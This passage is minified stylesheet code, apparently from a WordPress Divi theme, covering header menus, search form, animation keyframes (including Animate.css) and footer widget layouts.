span:before{content:"\e07a";margin-right:10px;position:relative}nav#top-menu-nav,#top-menu,nav.et-menu-nav,.et-menu{float:left}#top-menu li{display:inline-block;font-size:14px;padding-right:22px}#top-menu>li:last-child{padding-right:0}.et_fullwidth_nav.et_non_fixed_nav.et_header_style_left #top-menu>li:last-child>ul.sub-menu{right:0}#top-menu a{color:rgba(0,0,0,0.6);text-decoration:none;display:block;position:relative;-webkit-transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out;transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et_search_icon:before{content:"\55";font-size:17px;left:0;position:absolute;top:-3px}#et_search_icon:hover{cursor:pointer}#et_top_search{float:right;margin:3px 0 0 22px;position:relative;display:block;width:18px}#et_top_search.et_search_opened{position:absolute;width:100%}.et-search-form{top:0;bottom:0;right:0;position:absolute;z-index:1000;width:100%}.et-search-form input{width:90%;border:none;color:#333;position:absolute;top:0;bottom:0;right:30px;margin:auto;background:transparent}.et-search-form .et-search-field::-ms-clear{width:0;height:0;display:none}.et_search_form_container{-webkit-animation:none;animation:none;-o-animation:none}.container.et_search_form_container{position:relative;opacity:0;height:1px}.container.et_search_form_container.et_pb_search_visible{z-index:999;-webkit-animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_search_visible.et_pb_no_animation{opacity:1}.et_pb_search_form_hidden{-webkit-animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}span.et_close_search_field{display:block;width:30px;height:30px;z-index:99999;position:absolute;right:0;cursor:pointer;top:0;bottom:0;margin:auto}span.et_close_search_field:after{font-family:'ETmodules';content:'\4d';speak:none;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:32px;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box}.container.et_menu_container{z-index:99}.container.et_search_form_container.et_pb_search_form_hidden{z-index:1 !important}.et_search_outer{width:100%;overflow:hidden;position:absolute;top:0}.container.et_pb_menu_hidden{z-index:-1}form.et-search-form{background:rgba(0,0,0,0) !important}input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.et-cart-info{color:inherit}#et-top-navigation .et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 